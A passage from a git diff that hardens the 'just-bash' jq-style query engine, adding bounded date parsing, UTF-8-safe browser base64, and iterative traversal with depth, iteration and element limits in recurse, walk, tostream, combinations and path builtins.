+      evaluate("2024-02-31T03:04:05Z", parse(`strptime("%Y-%m-%dT%H:%M:%SZ")`)),
+    ).toThrow("Cannot parse date");
+  });
+});
diff --git a/packages/just-bash/src/commands/query-engine/builtins/date-builtins.ts b/packages/just-bash/src/commands/query-engine/builtins/date-builtins.ts
index f855399e..a3671e69 100644
--- a/packages/just-bash/src/commands/query-engine/builtins/date-builtins.ts
+++ b/packages/just-bash/src/commands/query-engine/builtins/date-builtins.ts
@@ -14,6 +14,40 @@ type EvalFn = (
   ctx: EvalContext,
 ) => QueryValue[];
 
+const MAX_DATE_MILLISECONDS = 8_640_000_000_000_000;
+const MAX_DATE_SECONDS = MAX_DATE_MILLISECONDS / 1000;
+const ISO_UTC_FORMAT = "%Y-%m-%dT%H:%M:%SZ";
+
+function dateFromTimestamp(value: number, operation: string): Date {
+  if (!Number.isFinite(value) || Math.abs(value) > MAX_DATE_SECONDS) {
+    throw new Error(`${operation} timestamp is outside the supported range`);
+  }
+  return new Date(value * 1000);
+}
+
+function parseIsoUtc(value: string): Date | null {
+  const match = value.match(
+    /^(\d{4})-(\d{2})-(\d{2})T(\d{2}):(\d{2}):(\d{2})Z$/,
+  );
+  if (!match) return null;
+
+  const [, year, month, day, hour, minute, second] = match.map(Number);
+  const milliseconds = Date.UTC(year, month - 1, day, hour, minute, second);
+  if (!Number.isFinite(milliseconds)) return null;
+  const date = new Date(milliseconds);
+  if (
+    date.getUTCFullYear() !== year ||
+    date.getUTCMonth() !== month - 1 ||
+    date.getUTCDate() !== day ||
+    date.getUTCHours() !== hour ||
+    date.getUTCMinutes() !== minute ||
+    date.getUTCSeconds() !== second
+  ) {
+    return null;
+  }
+  return date;
+}
+
 /**
  * Handle date builtins that need evaluate function for arguments.
  * Returns null if the builtin name is not a date builtin handled here.
@@ -33,7 +67,7 @@ export function evalDateBuiltin(
       // Convert Unix timestamp to broken-down time array
       // jq format: [year, month(0-11), day(1-31), hour, minute, second, weekday(0-6), yearday(0-365)]
       if (typeof value !== "number") return [null];
-      const date = new Date(value * 1000);
+      const date = dateFromTimestamp(value, "gmtime");
       const year = date.getUTCFullYear();
       const month = date.getUTCMonth(); // 0-11
       const day = date.getUTCDate(); // 1-31
@@ -80,7 +114,7 @@ export function evalDateBuiltin(
       let date: Date;
       if (typeof value === "number") {
         // Unix timestamp
-        date = new Date(value * 1000);
+        date = dateFromTimestamp(value, "strftime");
       } else if (Array.isArray(value)) {
         // Broken-down time array
         const [year, month, day, hour = 0, minute = 0, second = 0] = value;
@@ -143,29 +177,11 @@ export function evalDateBuiltin(
       if (typeof fmt !== "string") {
         throw new Error("strptime/1 requires a string format");
       }
-      // Simple strptime for common ISO format
-      if (fmt === "%Y-%m-%dT%H:%M:%SZ") {
-        const match = value.match(
-          /^(\d{4})-(\d{2})-(\d{2})T(\d{2}):(\d{2}):(\d{2})Z$/,
-        );
-        if (match) {
-          const [, year, month, day, hour, minute, second] = match.map(Number);
-          const date = new Date(
-            Date.UTC(year, month - 1, day, hour, minute, second),
-          );
-          const weekday = date.getUTCDay();
-          const startOfYear = Date.UTC(year, 0, 1);
-          const yearday = Math.floor(
-            (date.getTime() - startOfYear) / (24 * 60 * 60 * 1000),
-          );
-          return [
-            [year, month - 1, day, hour, minute, second, weekday, yearday],
-          ];
-        }
+      if (fmt !== ISO_UTC_FORMAT) {
+        throw new Error(`strptime format is not supported: ${fmt}`);
       }
-      // Fallback: try to parse as ISO date
-      const date = new Date(value);
-      if (!Number.isNaN(date.getTime())) {
+      const date = parseIsoUtc(value);
+      if (date) {
         const year = date.getUTCFullYear();
         const month = date.getUTCMonth();
         const day = date.getUTCDate();
@@ -187,10 +203,10 @@ export function evalDateBuiltin(
       if (typeof value !== "string") {
         throw new Error("fromdate requires a string input");
       }
-      const date = new Date(value);
-      if (Number.isNaN(date.getTime())) {
+      const date = parseIsoUtc(value);
+      if (!date) {
         throw new Error(
-          `date "${value}" does not match format "%Y-%m-%dT%H:%M:%SZ"`,
+          `date "${value}" does not match format "${ISO_UTC_FORMAT}"`,
         );
       }
       return [Math.floor(date.getTime() / 1000)];
@@ -201,7 +217,7 @@ export function evalDateBuiltin(
       if (typeof value !== "number") {
         throw new Error("todate requires a number input");
       }
-      const date = new Date(value * 1000);
+      const date = dateFromTimestamp(value, "todate");
       return [date.toISOString().replace(/\.\d{3}Z$/, "Z")];
     }
 
diff --git a/packages/just-bash/src/commands/query-engine/builtins/format-builtins.browser.test.ts b/packages/just-bash/src/commands/query-engine/builtins/format-builtins.browser.test.ts
new file mode 100644
index 00000000..792de7c1
--- /dev/null
+++ b/packages/just-bash/src/commands/query-engine/builtins/format-builtins.browser.test.ts
@@ -0,0 +1,23 @@
+import { afterEach, describe, expect, it, vi } from "vitest";
+import { evalFormatBuiltin } from "./format-builtins.js";
+
+describe("query format builtins in browser mode", () => {
+  afterEach(() => vi.unstubAllGlobals());
+
+  it("encodes Unicode as UTF-8 before browser base64 conversion", () => {
+    vi.stubGlobal("Buffer", undefined);
+
+    expect(evalFormatBuiltin("✓ café 😀", "@base64")).toEqual([
+      "4pyTIGNhZsOpIPCfmIA=",
+    ]);
+  });
+
+  it("decodes browser base64 bytes using defined UTF-8 replacement", () => {
+    vi.stubGlobal("Buffer", undefined);
+
+    expect(evalFormatBuiltin("4pyTIGNhZsOpIPCfmIA=", "@base64d")).toEqual([
+      "✓ café 😀",
+    ]);
+    expect(evalFormatBuiltin("/w==", "@base64d")).toEqual(["�"]);
+  });
+});
diff --git a/packages/just-bash/src/commands/query-engine/builtins/format-builtins.ts b/packages/just-bash/src/commands/query-engine/builtins/format-builtins.ts
index d787f263..f76dd357 100644
--- a/packages/just-bash/src/commands/query-engine/builtins/format-builtins.ts
+++ b/packages/just-bash/src/commands/query-engine/builtins/format-builtins.ts
@@ -10,6 +10,28 @@ import { getValueDepth } from "../value-operations.js";
 // Default max depth for nested structures
 const DEFAULT_MAX_JQ_DEPTH = 2000;
 
+function bytesToBinaryString(bytes: Uint8Array): string {
+  const chunks: string[] = [];
+  const chunkSize = 32 * 1024;
+  for (let offset = 0; offset < bytes.length; offset += chunkSize) {
+    const end = Math.min(offset + chunkSize, bytes.length);
+    let chunk = "";
+    for (let i = offset; i < end; i++) {
+      chunk += String.fromCharCode(bytes[i]);
+    }
+    chunks.push(chunk);
+  }
+  return chunks.join("");
+}
+
+function binaryStringToBytes(binary: string): Uint8Array {
+  const bytes = new Uint8Array(binary.length);
+  for (let i = 0; i < binary.length; i++) {
+    bytes[i] = binary.charCodeAt(i);
+  }
+  return bytes;
+}
+
 /**
  * Handle format builtins (those starting with @).
  * Returns null if the builtin name is not a format builtin handled here.
@@ -26,7 +48,8 @@ export function evalFormatBuiltin(
         if (typeof Buffer !== "undefined") {
           return [Buffer.from(value, "utf-8").toString("base64")];
         }
-        return [btoa(value)];
+        const bytes = new TextEncoder().encode(value);
+        return [btoa(bytesToBinaryString(bytes))];
       }
       return [null];
 
@@ -36,7 +59,8 @@ export function evalFormatBuiltin(
         if (typeof Buffer !== "undefined") {
           return [Buffer.from(value, "base64").toString("utf-8")];
         }
-        return [atob(value)];
+        const bytes = binaryStringToBytes(atob(value));
+        return [new TextDecoder("utf-8", { fatal: false }).decode(bytes)];
       }
       return [null];
 
diff --git a/packages/just-bash/src/commands/query-engine/builtins/navigation-builtins.ts b/packages/just-bash/src/commands/query-engine/builtins/navigation-builtins.ts
index e395241e..985e37d8 100644
--- a/packages/just-bash/src/commands/query-engine/builtins/navigation-builtins.ts
+++ b/packages/just-bash/src/commands/query-engine/builtins/navigation-builtins.ts
@@ -4,9 +4,10 @@
  * Handles recurse, recurse_down, walk, transpose, combinations, parent, parents, root.
  */
 
+import { ExecutionLimitError } from "../../../interpreter/errors.js";
 import type { EvalContext } from "../evaluator.js";
 import type { AstNode } from "../parser.js";
-import { isSafeKey, safeSet } from "../safe-object.js";
+import { asQueryRecord, isSafeKey, safeSet } from "../safe-object.js";
 import type { QueryValue } from "../value-operations.js";
 
 type EvalFn = (
@@ -29,6 +30,37 @@ type EvalBuiltinFn = (
   ctx: EvalContext,
 ) => QueryValue[];
 
+function resourceLimits(ctx: EvalContext): {
+  maxDepth: number;
+  maxResults: number;
+  maxIterations: number;
+} {
+  const maxIterations = ctx.limits.maxIterations;
+  return {
+    maxDepth: ctx.limits.maxDepth,
+    maxResults: ctx.limits.maxArrayElements,
+    maxIterations,
+  };
+}
+
+function throwTraversalLimit(message: string): never {
+  throw new ExecutionLimitError(message, "array_elements");
+}
+
+function checkedProduct(values: number[], limit: number): number {
+  let product = 1;
+  for (const value of values) {
+    if (!Number.isSafeInteger(value) || value < 0) {
+      throw new Error("combinations requires finite array lengths");
+    }
+    if (value !== 0 && product > Math.floor(limit / value)) {
+      throwTraversalLimit(`query combination limit exceeded (${limit})`);
+    }
+    product *= value;
+  }
+  return product;
+}
+
 /**
  * Handle navigation builtins that need evaluate function for arguments.
  * Returns null if the builtin name is not a navigation builtin handled here.
@@ -45,40 +77,64 @@ export function evalNavigationBuiltin(
 ): QueryValue[] | null {
   switch (name) {
     case "recurse": {
-      if (args.length === 0) {
-        const results: QueryValue[] = [];
-        const walk = (v: QueryValue) => {
-          results.push(v);
-          if (Array.isArray(v)) {
-            for (const item of v) walk(item);
-          } else if (v && typeof v === "object") {
-            // @banned-pattern-ignore: iterating via Object.keys() which only returns own properties
-            for (const key of Object.keys(v)) {
-              walk((v as Record<string, unknown>)[key]);
-            }
-          }
-        };
-        walk(value);
-        return results;
-      }
       const results: QueryValue[] = [];
+      const limits = resourceLimits(ctx);
       const condExpr = args.length >= 2 ? args[1] : null;
-      const maxDepth = 10000; // Prevent infinite loops
-      let depth = 0;
-      const walk = (v: QueryValue) => {
-        if (depth++ > maxDepth) return;
+      const stack: Array<{ value: QueryValue; depth: number }> = [
+        { value, depth: 0 },
+      ];
+      let iterations = 0;
+      while (stack.length > 0) {
+        const entry = stack.pop();
+        if (!entry) break;
+        if (++iterations > limits.maxIterations) {
+          throw new ExecutionLimitError(
+            `query iteration limit exceeded (${limits.maxIterations})`,
+            "iterations",
+          );
+        }
+        if (entry.depth > limits.maxDepth) {
+          throw new ExecutionLimitError(
+            `query depth limit exceeded (${limits.maxDepth})`,
+            "recursion",
+          );
+        }
         // Check condition if provided (recurse(f; cond))
         if (condExpr) {
-          const condResults = evaluate(v, condExpr, ctx);
-          if (!condResults.some(isTruthy)) return;
+          const condResults = evaluate(entry.value, condExpr, ctx);
+          if (!condResults.some(isTruthy)) continue;
         }
-        results.push(v);
-        const next = evaluate(v, args[0], ctx);
-        for (const n of next) {
-          if (n !== null && n !== undefined) walk(n);
+        if (results.length >= limits.maxResults) {
+          throwTraversalLimit(
+            `query result element limit exceeded (${limits.maxResults})`,
+          );
         }
-      };
-      walk(value);
+        results.push(entry.value);
+
+        let next: QueryValue[] = [];
+        if (args.length === 0) {
+          if (Array.isArray(entry.value)) {
+            next = entry.value;
+          } else if (entry.value && typeof entry.value === "object") {
+            next = Object.keys(entry.value).map((key) => {
+              // @banned-pattern-ignore: Object.keys returns own properties only
+              return (entry.value as Record<string, unknown>)[key];
+            });
+          }
+        } else {
+          next = evaluate(entry.value, args[0], ctx).filter(
+            (item) => item !== null && item !== undefined,
+          );
+        }
+        if (stack.length > limits.maxResults - next.length) {
+          throwTraversalLimit(
+            `query traversal queue limit exceeded (${limits.maxResults})`,
+          );
+        }
+        for (let i = next.length - 1; i >= 0; i--) {
+          stack.push({ value: next[i], depth: entry.depth + 1 });
+        }
+      }
       return results;
     }
 
@@ -87,40 +143,99 @@ export function evalNavigationBuiltin(
 
     case "walk": {
       if (args.length === 0) return [value];
-      const seen = new WeakSet<object>();
-      const walkFn = (v: QueryValue): QueryValue => {
-        if (v && typeof v === "object") {
-          if (seen.has(v as object)) return v;
-          seen.add(v as object);
-        }
-        let transformed: QueryValue;
-        if (Array.isArray(v)) {
-          transformed = v.map(walkFn);
-        } else if (v && typeof v === "object") {
-          // Use null-prototype for additional safety
-          const obj: Record<string, unknown> = Object.create(null);
-          for (const [k, val] of Object.entries(v)) {
-            // Defense against prototype pollution
-            if (isSafeKey(k)) {
-              safeSet(obj, k, walkFn(val));
-            }
+      const limits = resourceLimits(ctx);
+      const scheduled = new WeakSet<object>();
+      const transformed = new WeakMap<object, QueryValue>();
+      const stack: Array<{
+        value: QueryValue;
+        depth: number;
+        expanded: boolean;
+      }> = [{ value, depth: 0, expanded: false }];
+      let rootResult: QueryValue = value;
+      let iterations = 0;
+      while (stack.length > 0) {
+        const frame = stack.pop();
+        if (!frame) break;
+        if (++iterations > limits.maxIterations) {
+          throw new ExecutionLimitError(
+            `query iteration limit exceeded (${limits.maxIterations})`,
+            "iterations",
+          );
+        }
+        if (frame.depth > limits.maxDepth) {
+          throw new ExecutionLimitError(
+            `query depth limit exceeded (${limits.maxDepth})`,
+            "recursion",
+          );
+        }
+        const container =
+          frame.value !== null && typeof frame.value === "object"
+            ? (frame.value as object)
+            : null;
+        if (!frame.expanded && container) {
+          if (scheduled.has(container)) continue;
+          scheduled.add(container);
+          stack.push({ ...frame, expanded: true });
+          const record = asQueryRecord(frame.value);
+          const children = Array.isArray(frame.value)
+            ? frame.value
+            : Object.keys(record ?? {}).map((key) => {
+                return record?.[key];
+              });
+          if (stack.length > limits.maxResults - children.length) {
+            throwTraversalLimit(
+              `query traversal queue limit exceeded (${limits.maxResults})`,
+            );
           }
-          transformed = obj;
-        } else {
-          transformed = v;
+          for (let i = children.length - 1; i >= 0; i--) {
+            stack.push({
+              value: children[i],
+              depth: frame.depth + 1,
+              expanded: false,
+            });
+          }
+          continue;
+        }
+
+        let childResult: QueryValue = frame.value;
+        if (Array.isArray(frame.value)) {
+          childResult = frame.value.map((child) =>
+            child !== null && typeof child === "object"
+              ? (transformed.get(child) ?? child)
+              : child,
+          );
+        } else if (container) {
+          const objectResult: Record<string, unknown> = Object.create(null);
+          const record = asQueryRecord(frame.value);
+          for (const key of Object.keys(record ?? {})) {
+            if (!isSafeKey(key)) continue;
+            const child = record?.[key];
+            safeSet(
+              objectResult,
+              key,
+              child !== null && typeof child === "object"
+                ? (transformed.get(child) ?? child)
+                : child,
+            );
+          }
+          childResult = objectResult;
         }
-        const results = evaluate(transformed, args[0], ctx);
-        return results[0];
-      };
-      return [walkFn(value)];
+        const evaluated = evaluate(childResult, args[0], ctx)[0];
+        if (container) transformed.set(container, evaluated);
+        if (frame.depth === 0) rootResult = evaluated;
+      }
+      return [rootResult];
     }
 
     case "transpose": {
       if (!Array.isArray(value)) return [null];
       if (value.length === 0) return [[]];
-      const maxLen = Math.max(
-        ...value.map((row) => (Array.isArray(row) ? row.length : 0)),
-      );
+      const limits = resourceLimits(ctx);
+      let maxLen = 0;
+      for (const row of value) {
+        if (Array.isArray(row)) maxLen = Math.max(maxLen, row.length);
+      }
+      checkedProduct([value.length, maxLen], limits.maxResults);
       const result: QueryValue[][] = [];
       for (let i = 0; i < maxLen; i++) {
         result.push(value.map((row) => (Array.isArray(row) ? row[i] : null)));
@@ -136,46 +251,77 @@ export function evalNavigationBuiltin(
         // combinations(n) - n-tuples from input array
         const ns = evaluate(value, args[0], ctx);
         const n = ns[0] as number;
-        if (!Array.isArray(value) || n < 0) return [];
-        if (n === 0) return [[]];
-        // Generate all n-length combinations with repetition
-        const results: QueryValue[][] = [];
-        const generate = (current: QueryValue[], depth: number) => {
-          if (depth === n) {
-            results.push([...current]);
-            return;
+        if (!Array.isArray(value)) return [];
+        if (!Number.isFinite(n) || !Number.isSafeInteger(n) || n < 0) {
+          throw new Error(
+            "combinations length must be a finite non-negative integer",
+          );
+        }
+        const limits = resourceLimits(ctx);
+        if (n > limits.maxDepth || n > limits.maxResults) {
+          throw new ExecutionLimitError(
+            `query depth limit exceeded (${limits.maxDepth})`,
+            "recursion",
+          );
+        }
+        if (n === 0) {
+          if (limits.maxResults < 1) {
+            throwTraversalLimit("query combination limit exceeded (0)");
           }
-          for (const item of value) {
-            current.push(item);
-            generate(current, depth + 1);
-            current.pop();
+          return [[]];
+        }
+        const resultCount = checkedProduct(
+          Array.from({ length: n }, () => value.length),
+          limits.maxResults,
+        );
+        if (resultCount === 0) return [];
+        const results: QueryValue[][] = [];
+        const indexes = new Array<number>(n).fill(0);
+        for (let produced = 0; produced < resultCount; produced++) {
+          results.push(indexes.map((index) => value[index]));
+          for (let position = n - 1; position >= 0; position--) {
+            indexes[position]++;
+            if (indexes[position] < value.length) break;
+            indexes[position] = 0;
           }
-        };
-        generate([], 0);
+        }
         return results;
       }
       // combinations with no args - Cartesian product of array of arrays
       if (!Array.isArray(value)) return [];
-      if (value.length === 0) return [[]];
+      if (value.length === 0) {
+        if (resourceLimits(ctx).maxResults < 1) {
+          throwTraversalLimit("query combination limit exceeded (0)");
+        }
+        return [[]];
+      }
       // Check all elements are arrays
       for (const arr of value) {
         if (!Array.isArray(arr)) return [];
       }
-      // Generate Cartesian product
+      const limits = resourceLimits(ctx);
+      const arrays = value as QueryValue[][];
+      if (arrays.length > limits.maxDepth) {
+        throw new ExecutionLimitError(
+          `query depth limit exceeded (${limits.maxDepth})`,
+          "recursion",
+        );
+      }
+      const resultCount = checkedProduct(
+        arrays.map((array) => array.length),
+        limits.maxResults,
+      );
+      if (resultCount === 0) return [];
       const results: QueryValue[][] = [];
-      const generate = (index: number, current: QueryValue[]) => {
-        if (index === value.length) {
-          results.push([...current]);
-          return;
-        }
-        const arr = value[index] as QueryValue[];
-        for (const item of arr) {
-          current.push(item);
-          generate(index + 1, current);
-          current.pop();
-        }
-      };
-      generate(0, []);
+      const indexes = new Array<number>(arrays.length).fill(0);
+      for (let produced = 0; produced < resultCount; produced++) {
+        results.push(indexes.map((index, position) => arrays[position][index]));
+        for (let position = arrays.length - 1; position >= 0; position--) {
+          indexes[position]++;
+          if (indexes[position] < arrays[position].length) break;
+          indexes[position] = 0;
+        }
+      }
       return results;
     }
 
diff --git a/packages/just-bash/src/commands/query-engine/builtins/object-builtins.ts b/packages/just-bash/src/commands/query-engine/builtins/object-builtins.ts
index e050dca9..acc62670 100644
--- a/packages/just-bash/src/commands/query-engine/builtins/object-builtins.ts
+++ b/packages/just-bash/src/commands/query-engine/builtins/object-builtins.ts
@@ -4,6 +4,8 @@
  * Handles object manipulation functions like keys, to_entries, from_entries, etc.
  */
 
+import { utf8ByteLength } from "../../../encoding.js";
+import { ExecutionLimitError } from "../../../interpreter/errors.js";
 import type { EvalContext } from "../evaluator.js";
 import type { AstNode } from "../parser.js";
 import {
@@ -17,6 +19,50 @@ import { getValueDepth, type QueryValue } from "../value-operations.js";
 // Default max depth for nested structures
 const DEFAULT_MAX_JQ_DEPTH = 2000;
 
+function maxResultElements(ctx: EvalContext): number {
+  return ctx.limits.maxArrayElements;
+}
+
+function assertResultPush(ctx: EvalContext, length: number): void {
+  const limit = maxResultElements(ctx);
+  if (length >= limit) {
+    throw new ExecutionLimitError(
+      `query result element limit exceeded (${limit})`,
+      "array_elements",
+    );
+  }
+}
+
+function validateStreamPath(
+  path: unknown[],
+  ctx: EvalContext,
+): asserts path is (string | number)[] {
+  const maxDepth = ctx.limits.maxDepth ?? DEFAULT_MAX_JQ_DEPTH;
+  if (path.length > maxDepth) {
+    throw new ExecutionLimitError(
+      `query depth limit exceeded (${maxDepth})`,
+      "recursion",
+    );
+  }
+  const maxElements = ctx.limits.maxArrayElements;
+  for (const component of path) {
+    if (typeof component === "number") {
+      if (
+        !Number.isSafeInteger(component) ||
+        component < 0 ||
+        component >= maxElements
+      ) {
+        throw new ExecutionLimitError(
+          `query array index limit exceeded (${maxElements})`,
+          "array_elements",
+        );
+      }
+    } else if (typeof component !== "string") {
+      throw new Error("stream path components must be strings or integers");
+    }
+  }
+}
+
 type EvalFn = (
   value: QueryValue,
   ast: AstNode,
@@ -57,8 +103,7 @@ export function evalObjectBuiltin(
       return [null];
 
     case "utf8bytelength": {
-      if (typeof value === "string")
-        return [new TextEncoder().encode(value).length];
+      if (typeof value === "string") return [utf8ByteLength(value)];
       // jq: throws error for non-strings with type info
       const typeName =
         value === null ? "null" : Array.isArray(value) ? "array" : typeof value;
@@ -74,11 +119,20 @@ export function evalObjectBuiltin(
     case "to_entries": {
       const toEntriesObj = asQueryRecord(value);
       if (toEntriesObj) {
+        const keys = Object.keys(toEntriesObj);
+        if (keys.length > maxResultElements(ctx)) {
+          throw new ExecutionLimitError(
+            `query result element limit exceeded (${maxResultElements(ctx)})`,
+            "array_elements",
+          );
+        }
         return [
-          Object.entries(toEntriesObj).map(([key, val]) => ({
-            key,
-            value: val,
-          })),
+          keys.map((key) => {
+            const entry: Record<string, unknown> = Object.create(null);
+            safeSet(entry, "key", key);
+            safeSet(entry, "value", toEntriesObj[key]);
+            return entry;
+          }),
         ];
       }
       return [null];
@@ -111,11 +165,27 @@ export function evalObjectBuiltin(
       if (args.length === 0) return [value];
       const withEntriesObj = asQueryRecord(value);
       if (withEntriesObj) {
-        const entries = Object.entries(withEntriesObj).map(([key, val]) => ({
-          key,
-          value: val,
-        }));
-        const mapped = entries.flatMap((e) => evaluate(e, args[0], ctx));
+        const keys = Object.keys(withEntriesObj);
+        if (keys.length > maxResultElements(ctx)) {
+          throw new ExecutionLimitError(
+            `query result element limit exceeded (${maxResultElements(ctx)})`,
+            "array_elements",
+          );
+        }
+        const mapped: QueryValue[] = [];
+        for (const key of keys) {
+          const entry: Record<string, unknown> = Object.create(null);
+          safeSet(entry, "key", key);
+          safeSet(entry, "value", withEntriesObj[key]);
+          const values = evaluate(entry, args[0], ctx);
+          if (mapped.length > maxResultElements(ctx) - values.length) {
+            throw new ExecutionLimitError(
+              `query result element limit exceeded (${maxResultElements(ctx)})`,
+              "array_elements",
+            );
+          }
+          for (const mappedValue of values) mapped.push(mappedValue);
+        }
         const result: Record<string, unknown> = Object.create(null);
         for (const item of mapped) {
           const obj = asQueryRecord(item);
@@ -197,8 +267,14 @@ export function evalObjectBuiltin(
           return [Number.NEGATIVE_INFINITY];
         }
         try {
-          return [sanitizeParsedData(JSON.parse(value))];
-        } catch {
+          return [
+            sanitizeParsedData(JSON.parse(value), {
+              maxDepth: ctx.limits.maxDepth,
+              maxElements: ctx.limits.maxArrayElements,
+            }),
+          ];
+        } catch (error) {
+          if (error instanceof ExecutionLimitError) throw error;
           throw new Error(`Invalid JSON: ${value}`);
         }
       }
@@ -246,34 +322,89 @@ export function evalObjectBuiltin(
     case "tostream": {
       // tostream outputs [path, leaf_value] pairs for each leaf, plus [[]] at end
       const results: QueryValue[] = [];
-      const walk = (v: QueryValue, path: (string | number)[]) => {
+      const maxDepth = ctx.limits.maxDepth ?? DEFAULT_MAX_JQ_DEPTH;
+      const stack: Array<{
+        value: QueryValue;
+        path: (string | number)[];
+      }> = [{ value, path: [] }];
+      const seen = new WeakSet<object>();
+      let iterations = 0;
+      while (stack.length > 0) {
+        const entry = stack.pop();
+        if (!entry) break;
+        if (++iterations > ctx.limits.maxIterations) {
+          throw new ExecutionLimitError(
+            `query iteration limit exceeded (${ctx.limits.maxIterations})`,
+            "iterations",
+          );
+        }
+        if (entry.path.length > maxDepth) {
+          throw new ExecutionLimitError(
+            `query depth limit exceeded (${maxDepth})`,
+            "recursion",
+          );
+        }
+        const v = entry.value;
         if (v === null || typeof v !== "object") {
           // Leaf value - output [path, value]
-          results.push([path, v]);
+          assertResultPush(ctx, results.length);
+          results.push([entry.path, v]);
         } else if (Array.isArray(v)) {
+          if (seen.has(v)) {
+            throw new ExecutionLimitError(
+              "cyclic value cannot be converted to a stream",
+              "recursion",
+            );
+          }
+          seen.add(v);
           if (v.length === 0) {
             // Empty array - output [path, []]
-            results.push([path, []]);
+            assertResultPush(ctx, results.length);
+            results.push([entry.path, []]);
           } else {
-            for (let i = 0; i < v.length; i++) {
-              walk(v[i], [...path, i]);
+            if (stack.length > maxResultElements(ctx) - v.length) {
+              throw new ExecutionLimitError(
+                `query traversal queue limit exceeded (${maxResultElements(ctx)})`,
+                "array_elements",
+              );
+            }
+            for (let i = v.length - 1; i >= 0; i--) {
+              stack.push({ value: v[i], path: [...entry.path, i] });
             }
           }
         } else {
+          if (seen.has(v)) {
+            throw new ExecutionLimitError(
+              "cyclic value cannot be converted to a stream",
+              "recursion",
+            );
+          }
+          seen.add(v);
           const keys = Object.keys(v);
           if (keys.length === 0) {
             // Empty object - output [path, {}]
-            results.push([path, Object.create(null)]);
+            assertResultPush(ctx, results.length);
+            results.push([entry.path, Object.create(null)]);
           } else {
-            // @banned-pattern-ignore: iterating via Object.keys() which only returns own properties
-            for (const key of keys) {
-              walk((v as Record<string, unknown>)[key], [...path, key]);
+            if (stack.length > maxResultElements(ctx) - keys.length) {
+              throw new ExecutionLimitError(
+                `query traversal queue limit exceeded (${maxResultElements(ctx)})`,
+                "array_elements",
+              );
+            }
+            for (let i = keys.length - 1; i >= 0; i--) {
+              const key = keys[i];
+              // @banned-pattern-ignore: Object.keys returns own properties only
+              stack.push({
+                value: (v as Record<string, unknown>)[key],
+                path: [...entry.path, key],
+              });
             }
           }
         }
-      };
-      walk(value, []);
+      }
       // End marker: [[]] (empty path array wrapped in array)
+      assertResultPush(ctx, results.length);
       results.push([[]]);
       return results;
     }
@@ -282,7 +413,14 @@ export function evalObjectBuiltin(
       // fromstream(stream_expr) reconstructs values from stream of [path, value] pairs
       if (args.length === 0) return [value];
       const streamItems = evaluate(value, args[0], ctx);
+      if (streamItems.length > maxResultElements(ctx)) {
+        throw new ExecutionLimitError(
+          `query stream item limit exceeded (${maxResultElements(ctx)})`,
+          "array_elements",
+        );
+      }
       let result: QueryValue = null;
+      let iterations = 0;
 
       for (const item of streamItems) {
         if (!Array.isArray(item)) continue;
@@ -297,6 +435,7 @@ export function evalObjectBuiltin(
         if (item.length !== 2) continue;
         const [path, val] = item;
         if (!Array.isArray(path)) continue;
+        validateStreamPath(path, ctx);
 
         // Set value at path, creating structure as needed
         if (path.length === 0) {
@@ -316,6 +455,14 @@ export function evalObjectBuiltin(
           const nextKey = path[i + 1];
           if (Array.isArray(current) && typeof key === "number") {
             // Extend array if needed
+            const growth = key + 1 - current.length;
+            if (growth > ctx.limits.maxIterations - iterations) {
+              throw new ExecutionLimitError(
+                `query iteration limit exceeded (${ctx.limits.maxIterations})`,
+                "iterations",
+              );
+            }
+            iterations += Math.max(0, growth);
             while (current.length <= key) {
               current.push(null);
             }
@@ -345,6 +492,14 @@ export function evalObjectBuiltin(
         // Set the final value
         const lastKey = path[path.length - 1];
         if (Array.isArray(current) && typeof lastKey === "number") {
+          const growth = lastKey + 1 - current.length;
+          if (growth > ctx.limits.maxIterations - iterations) {
+            throw new ExecutionLimitError(
+              `query iteration limit exceeded (${ctx.limits.maxIterations})`,
+              "iterations",
+            );
+          }
+          iterations += Math.max(0, growth);
           while (current.length <= lastKey) {
             current.push(null);
           }
diff --git a/packages/just-bash/src/commands/query-engine/builtins/path-builtins.ts b/packages/just-bash/src/commands/query-engine/builtins/path-builtins.ts
index 6d47dfc6..8f869797 100644
--- a/packages/just-bash/src/commands/query-engine/builtins/path-builtins.ts
+++ b/packages/just-bash/src/commands/query-engine/builtins/path-builtins.ts
@@ -4,7 +4,12 @@
  * Handles path manipulation functions like getpath, setpath, delpaths, paths, etc.
  */
 
-import type { EvalContext } from "../evaluator.js";
+import { ExecutionLimitError } from "../../../interpreter/errors.js";
+import {
+  assertQueryResultCapacity,
+  chargeQueryWork,
+  type EvalContext,
+} from "../evaluator.js";
 import type { AstNode } from "../parser.js";
 import { asQueryRecord } from "../safe-object.js";
 import type { QueryValue } from "../value-operations.js";
@@ -35,6 +40,106 @@ type CollectPathsFn = (
   paths: (string | number)[][],
 ) => void;
 
+function validateBoundedPath(
+  path: unknown,
+  ctx: EvalContext,
+): (string | number)[] {
+  if (!Array.isArray(path)) throw new Error("path must be an array");
+  const maxDepth = ctx.limits.maxDepth;
+  if (path.length > maxDepth) {
+    throw new ExecutionLimitError(
+      `query depth limit exceeded (${maxDepth})`,
+      "recursion",
+    );
+  }
+  const maxElements = ctx.limits.maxArrayElements;
+  let prospectiveArrayElements = 0;
+  for (const component of path) {
+    if (typeof component === "number") {
+      if (
+        !Number.isSafeInteger(component) ||
+        component < 0 ||
+        component >= maxElements
+      ) {
+        throw new ExecutionLimitError(
+          `query array index limit exceeded (${maxElements})`,
+          "array_elements",
+        );
+      }
+      const allocation = component + 1;
+      if (prospectiveArrayElements > maxElements - allocation) {
+        throw new ExecutionLimitError(
+          `query cumulative array allocation limit exceeded (${maxElements})`,
+          "array_elements",
+        );
+      }
+      prospectiveArrayElements += allocation;
+    } else if (typeof component !== "string") {
+      throw new Error("path components must be strings or integers");
+    }
+  }
+  chargeQueryWork(ctx, prospectiveArrayElements + path.length);
+  return path;
+}
+
+function collectContainerPaths(
+  value: QueryValue,
+  ctx: EvalContext,
+  leavesOnly: boolean,
+): (string | number)[][] {
+  const paths: (string | number)[][] = [];
+  const stack: Array<{
+    value: QueryValue;
+    path: (string | number)[];
+    isRoot: boolean;
+  }> = [{ value, path: [], isRoot: true }];
+  while (stack.length > 0) {
+    const entry = stack.pop();
+    if (!entry) break;
+    chargeQueryWork(ctx);
+    if (entry.path.length > ctx.limits.maxDepth) {
+      throw new ExecutionLimitError(
+        `query depth limit exceeded (${ctx.limits.maxDepth})`,
+        "recursion",
+      );
+    }
+    const isContainer = entry.value !== null && typeof entry.value === "object";
+    if (!isContainer) {
+      if (leavesOnly || !entry.isRoot) {
+        assertQueryResultCapacity(ctx, paths.length);
+        paths.push(entry.path);
+      }
+      continue;
+    }
+    if (!leavesOnly && !entry.isRoot) {
+      assertQueryResultCapacity(ctx, paths.length);
+      paths.push(entry.path);
+    }
+    const children: Array<readonly [string | number, QueryValue]> =
